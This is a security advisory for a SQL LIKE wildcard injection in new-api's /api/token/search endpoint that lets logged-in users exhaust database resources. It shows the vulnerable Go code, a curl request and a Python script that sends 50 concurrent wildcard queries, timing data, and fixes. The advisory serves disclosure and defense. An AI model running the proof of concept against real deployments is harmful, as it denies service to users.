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New API has an SQL LIKE Wildcard Injection DoS via Token Search

CVE-2026-25591 ยท 2026-02-23 high

Class
AI Framework and Platform Flaws (filed by a model that read the advisory)
Technique
Denial of service
Affected
github.com/QuantumNous/new-api (Go)
CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS
0.6% chance of exploitation in 30 days

How it works, in short

Authenticated users send LIKE patterns with unescaped wildcards to the token search, forcing the database to match and return very large row sets. (Our summary, written by a model. The source text is below.)

Details

Summary

A SQL LIKE wildcard injection vulnerability in the /api/token/search endpoint allows authenticated users to cause Denial of Service through resource exhaustion by crafting malicious search patterns.

Details

The token search endpoint accepts user-supplied keyword and token parameters that are directly concatenated into SQL LIKE clauses without escaping wildcard characters (%, _). This allows attackers to inject patterns that trigger expensive database queries.

Vulnerable Code

File: model/token.go:70

err = DB.Where("user_id = ?", userId).
       Where("name LIKE ?", "%"+keyword+"%").     // No wildcard escaping
       Where(commonKeyCol+" LIKE ?", "%"+token+"%").
       Find(&tokens).Error

PoC

After creating over 2 million tokens, creating millions token entries is not difficult, because the rate limiting only applies to IP addresses, so multiple IP addresses can share one session, allowing for the creation of an unlimited number of tokens in batches.

<img width="1636" height="659" alt="image" src="https://github.com/user-attachments/assets/55e63dcd-884d-41bc-9bea-4300ba1b50c6" />

These data are not all loaded at once under normal circumstances, as shown in the image, and are displayed correctly. But if a request like this is submitted:

# A single request causes PostgreSQL to unconditionally retrieve all tokens belonging to that user. These requests buffer will all go into the buffer zone, causing an overflow and preventing the program from functioning properly.
curl 'http://localhost:3000/api/token/search?keyword=%&token='

<img width="491" height="350" alt="image" src="https://github.com/user-attachments/assets/c31d9639-3550-4e93-8735-fba068f56124" />

It will cause DoS.

import requests
from concurrent.futures import ThreadPoolExecutor

def attack(session_cookie):
    requests.get(
        'http://localhost:3000/api/token/search',
        params={'keyword': '%_%_%_%_%_%', 'token': ''},
        cookies={'session': session_cookie},
        headers={'New-API-User': '1'}
    )

# Launch 50 concurrent malicious requests
with ThreadPoolExecutor(max_workers=50) as executor:
    for _ in range(50):
        executor.submit(attack, '<valid_session>')

Impact

Availability

RAM Overflow

<img width="1078" height="145" alt="image" src="https://github.com/user-attachments/assets/c0bb5159-6943-42bd-a9f4-5c60c57fb149" />

Postgres unavailable

<img width="772" height="185" alt="image" src="https://github.com/user-attachments/assets/245e4f59-0ec5-4f9b-a839-3c9bb61be14b" />

Database Performance

Testing with 2,000,000 tokens:

| Pattern | Query Time | Rows | Impact |
|---------|-----------|------|--------|
| test (normal) | ~50ms | 0 | Low |
| % (full scan) | 5,973ms | 2,000,000 | High |
| %_%_%_%_%_% | 6,200ms+ | 2,000,000 | Very High |

Attack Scalability

Resource Consumption

Each malicious request with 2M results:
- Database: ~6 seconds CPU time
- Network: ~200MB data transfer
- Application Memory: ~200MB+ for JSON serialization
- Connection Time: Database connection held for entire query duration

Exploitation Scenario

Patch Recommendations

### 1. Escape LIKE Wildcards (Critical)

func escapeLike(s string) string {
    s = strings.ReplaceAll(s, "\\", "\\\\")
    s = strings.ReplaceAll(s, "%", "\\%")
    s = strings.ReplaceAll(s, "_", "\\_")
    return s
}

func SearchUserTokens(userId int, keyword string, token string) (tokens []*Token, err error) {
    keyword = escapeLike(keyword)
    token = strings.Trim(token, "sk-")
    token = escapeLike(token)

    err = DB.Where("user_id = ?", userId).
           Where("name LIKE ? ESCAPE '\\\\'", "%"+keyword+"%").
           Where(commonKeyCol+" LIKE ? ESCAPE '\\\\'", "%"+token+"%").
           Limit(1000).
           Find(&tokens).Error
    return tokens, err
}

2. Add User-Level Rate Limiting

tokenRoute.GET("/search",
    middleware.TokenSearchRateLimit(),  // 30 req/min per user
    controller.SearchTokens)

3. Add Query Timeout

ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
err = DB.WithContext(ctx).Where(...).Find(&tokens).Error

References

Source: GitHub Advisory Database, used under CC BY 4.0.